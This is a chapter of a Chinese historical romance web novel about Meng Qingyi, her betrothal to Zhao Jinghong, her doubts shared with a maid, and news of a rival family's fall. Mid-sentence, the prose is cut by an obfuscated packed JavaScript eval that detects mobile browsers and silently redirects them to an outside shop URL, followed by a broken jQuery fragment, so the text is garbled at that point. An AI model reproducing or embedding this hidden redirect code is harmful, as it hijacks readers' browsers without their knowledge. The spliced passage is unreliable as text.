这场戏孟清漪最初没有听进去。
屋里那股带着压迫感的冷幽之气经久不散,始终叫人心神不宁。
直到一声惊锣,戏进了高潮,身畔所有人都听的入神,她才渐渐静下心来,品出几分趣味。
今日这出戏讲的是一位贫穷书生和一位富家小姐的故事,大致意思是书生落难时小姐倾尽全力相帮,最后书生不负众望考上状元,不嫌弃小姐商户出身,拒绝高门婚约,风风光光迎娶小姐。
所有人都夸赞状元郎知恩图报,有情有意,包括赵憬鸿,大赞赏其品行高洁。
孟清漪却隐隐感到有些不适。
难道没人夸赞小姐在书生最落魄时不离不弃,一往无前的勇气和诚挚的爱意吗。
这么想着,她也这么说了。
赵憬鸿先是一怔,随后赞叹道:“清漪说的极是,小姐的品性亦难能可贵。”
话是这么说,可他赞赏的视线仍旧落在扮演书生的戏子身上。
孟清漪遂没再往下说。
听完戏,赵憬鸿说定好了酒楼,请孟清漪用饭。
孟清漪没拒绝。
她觉得婚前多走动不是坏事。
赵憬鸿显然是用了心思的,桌上多半都是孟清漪喜爱的菜色。
多半是特意问过聆风。
用完饭,天色已经暗了。
赵憬鸿很有些不舍,但还是规矩将孟清漪送回了孟家,临分别前,他又期待的邀约道:“清漪,城郊桃花开了,过两日我们出门踏春可好?”
这虽然是二人订婚后第一次约会,但期间赵憬鸿常送信来,有时是一首诗,里头或夹杂着一朵这朵漂亮的鲜花,或是一幅画。
可见少年爱意浓烈。
孟清漪看了眼聆风,后者朝她挤了挤眼,她便知道这亦是私下打探过的。
“好。”
她的确想去看桃花。
一年四季中她最喜欢的就是春季,花开嫩绿,生机盎然,别有意趣。
可春意短暂,错过月份又得等一年。
听孟清漪应下,赵憬鸿很是欢喜,眼底迸发着热烈璀璨的光芒。
“那我到时候来接你。”
不等孟清漪开口,赵憬鸿又使眼色叫竹墨取来一个檀木匣子,微红着耳朵递给孟清漪:“这是我来之前准备的簪子,也不知你喜不喜欢。”
孟清漪示意聆风接过,打开看了眼,是一根湖青色玉簪,她抿着笑收好,道:“谢谢,我很喜欢。”
她这一笑,令赵憬鸿耳尖又红了些,他不敢再多看:“你喜欢便好,快进去吧。”
孟清漪点点头,道:“时候也不早了,你快些回去。”
“好。”
赵憬鸿一步三回头的上了马车,才坐下就迫不及推开车窗,见孟清漪没有离开,再次挥手同她道别。
孟清漪温和颔首回应他。
少年的喜欢裹着春光,渗着丝丝缕缕的甜意,叫旁边的人都笑弯了眼。
回到抱春轩,聆风一边伺候洗漱一边语气欢快道:“姑爷特意叫竹墨来问奴婢姑娘的喜好,听姑娘想去踏春,立时便安排妥帖,可见真心待姑娘。”
孟清漪坐在梳妆台前微弯起眉眼。
父亲母亲恩爱如初,她自小耳濡目染,对爱情很是向往,自也希望能与未来的夫婿举案齐眉,恩爱白头。
赵憬鸿真心待她,她自满意。
孟清漪看了眼赵憬鸿送的匣子,道:“先收好,下次踏春时戴上。”
聆风立刻应好。
望舒却盯着镜中的姑娘,欲言又止。
院里绿枝新芽,蔷薇花含苞待放,处处都是一派春气,可姑娘眼里却没有春意。
并非四季之春,而是男女情意。
她见过女子看到意中人时心花怒放,含羞带怯的模样,姑娘虽笑着,但太平静了。
待聆风为孟清漪卸下发髻去传热水时,望舒走过去拿起梳子,替她将头发梳顺。
“姑娘,您可心仪赵公子?”
孟清漪闻言一抬眸就对上镜中望舒仿若洞悉一切的双眼,她轻轻笑了笑,道:“这桩婚事,我满意。”
这已经是她能选到的最好的了。
望舒微微皱眉。
答非所问,就已是答案。
“姑娘……”
“他真心待我,我看他也顺眼,日后只要两个人劲往一处使,日子自然能过的美满。”孟清漪打断她道:“再说,我不信一见钟情,夫妻相处久了自然也能滋生爱意。”
夜风携着股冷幽香在鼻尖徘徊。
孟清漪蹙眉,余光瞥见窗台上摆放的春枝,面色微松。
原是此物散发的清香。
望舒顺着她的视线望去,解释道:“这是苏小姐今日特意送来的,说是姑娘托她带回来的春枝。”
这一束春枝中有一枝桃花,一枝新绿,还有些不知名的花草做装点,并在一起令人眼前一新。
孟清漪不由赞叹道:“我就知道,瑞禾配的春枝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715632|208512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一定好看。”
她怎么学都不如苏瑞禾插的花漂亮。
有些东西,还得看天赋。
望舒笑而不语,又想起孟清漪方才那番话,她有心想辩论几句,可见孟清漪没有继续谈下去的意思,只能作罢。
婚事已定,多说也无益。
她也相信姑娘在哪里都能把日子过的好,只是她总觉得这并不是姑娘最好的归宿。
至少,要姑娘喜欢才算是好。
今夜轮到望舒守夜,她伺候孟清漪睡下后,便捧着烛火和账册去外间桌边坐下。
她今日还有些账目未理顺,一日事一日毕。
不多时就听里头传来些微的动静。
望舒抬眸静默了会儿。
姑娘睡眠一向好,今日是怎么了。
正在她想起身进去询问时,忽而,传来一声嘟囔,带着几分烦躁:“把香灭了!”
望舒一怔,望了眼香炉后捧着烛火起身走进里间,轻声道:“姑娘,今夜没点香。”
没有回应。
望舒轻轻掀开纱帐看了眼,方知晓这是在说梦话,她轻弯了弯唇。
也不知姑娘是梦到什么香了。
次日望舒无意中随口问起孟清漪,孟清漪一阵茫然:“啊?我没做梦啊。”
左右不是什么要紧事,主仆没再细究。
孟家人口简单,一日三餐都是一起用的,孟清漪收拾好便往饭厅去。
一进去就见桌上比平日多了些小菜,又见林氏满面笑容,不由询问道:“母亲,可是有什么喜事?”
林氏见她过来,笑着拉她坐下,神秘道:“喜事确实有一桩。”
孟清漪一思索,猜测道:“莫非父亲要升职了?”
她很少见母亲这般喜形于色的。
林氏啧了声,摇头:“不是,不过也确实有些关联。”
她四下望了眼,屏退下人,才难掩兴奋的低声同孟清漪道:“张家怕是要倒了。”
孟清漪愣了愣神,才反应过来,惊讶道:“是父亲拒过婚的张阁老?”
“正是。”林氏解气的深吸了口气,道:“真真是老天有眼,我这些年时常后悔,若当年你父亲没要那封推荐信,好歹是探花郎,就算多等等也还是能封官的,何至于被贬成现在这样。”
“现在好了,张家一倒,我憋了这些年的气终于算是顺了一些。”
孟清漪心猛地一跳,问道:“母亲的消息从来哪的,推荐信又是怎么回事?”